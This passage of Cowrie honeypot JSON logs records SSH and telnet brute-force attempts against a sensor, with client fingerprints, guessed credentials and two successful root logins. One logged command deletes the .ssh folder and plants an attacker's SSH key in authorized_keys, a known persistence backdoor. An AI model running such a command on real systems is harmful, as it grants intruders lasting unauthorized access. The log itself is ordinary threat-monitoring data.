m@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:11.222724Z","src_ip":"2.57.122.96","session":"b9f43c36c449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:11.539209Z","src_ip":"2.57.122.96","session":"b9f43c36c449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:12.648305Z","src_ip":"2.57.122.96","session":"b9f43c36c449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":42460,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d407aa10e84","protocol":"ssh","message":"New connection: 2.57.122.96:42460 (159.203.135.109:22) [session: 6d407aa10e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:27.239152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:27.243769Z","src_ip":"2.57.122.96","session":"6d407aa10e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:27.345738Z","src_ip":"2.57.122.96","session":"6d407aa10e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:27.648512Z","src_ip":"2.57.122.96","session":"6d407aa10e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:44:28.762183Z","src_ip":"2.57.122.96","session":"6d407aa10e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.214","src_port":42846,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a312f9c4a0c","protocol":"telnet","message":"New connection: 176.65.148.214:42846 (10.17.0.5:23) [session: 9a312f9c4a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:46:10.861518Z"}
{"eventid":"cowrie.session.closed","duration":29.928332567214966,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:46:40.789673Z","src_ip":"176.65.148.214","session":"9a312f9c4a0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55344,"dst_ip":"10.17.0.5","dst_port":22,"session":"824d802e5b70","protocol":"ssh","message":"New connection: 2.57.122.96:55344 (10.17.0.5:22) [session: 824d802e5b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:07.336295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:07.339631Z","src_ip":"2.57.122.96","session":"824d802e5b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:07.442142Z","src_ip":"2.57.122.96","session":"824d802e5b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:07.781365Z","src_ip":"2.57.122.96","session":"824d802e5b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:08.901875Z","src_ip":"2.57.122.96","session":"824d802e5b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":44176,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ef957543b24","protocol":"ssh","message":"New connection: 2.57.122.96:44176 (159.203.135.109:22) [session: 8ef957543b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:22.901676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:22.904932Z","src_ip":"2.57.122.96","session":"8ef957543b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:23.007324Z","src_ip":"2.57.122.96","session":"8ef957543b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:23.322714Z","src_ip":"2.57.122.96","session":"8ef957543b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:47:24.425451Z","src_ip":"2.57.122.96","session":"8ef957543b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":34468,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7753a67fbbb","protocol":"ssh","message":"New connection: 202.51.214.99:34468 (10.17.0.5:22) [session: d7753a67fbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:09.270464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:09.274659Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:09.504842Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwe@1234","message":"login attempt [root/qwe@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:10.458470Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:10.950672Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:10.953733Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:10.956996Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:11.189120Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:11.679629Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:11.682613Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:11.918917Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:11.922600Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":35032,"dst_ip":"10.17.0.5","dst_port":22,"session":"d50907e5ed4d","protocol":"ssh","message":"New connection: 202.51.214.99:35032 (10.17.0.5:22) [session: d50907e5ed4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:12.144552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:12.148447Z","src_ip":"202.51.214.99","session":"d50907e5ed4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:12.377625Z","src_ip":"202.51.214.99","session":"d50907e5ed4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:13.328327Z","src_ip":"202.51.214.99","session":"d50907e5ed4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:14.561603Z","src_ip":"202.51.214.99","session":"d50907e5ed4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":35552,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bc7c64808f3","protocol":"ssh","message":"New connection: 202.51.214.99:35552 (10.17.0.5:22) [session: 9bc7c64808f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:14.786158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:14.790411Z","src_ip":"202.51.214.99","session":"9bc7c64808f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:15.023556Z","src_ip":"202.51.214.99","session":"9bc7c64808f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:15.969182Z","src_ip":"202.51.214.99","session":"9bc7c64808f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:16.199627Z","src_ip":"202.51.214.99","session":"d7753a67fbbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:48:16.204781Z","src_ip":"202.51.214.99","session":"9bc7c64808f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":46660,"dst_ip":"10.17.0.5","dst_port":22,"session":"a65f08ac7c58","protocol":"ssh","message":"New connection: 2.57.122.96:46660 (10.17.0.5:22) [session: a65f08ac7c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:49:55.457051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:49:55.460510Z","src_ip":"2.57.122.96","session":"a65f08ac7c58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com",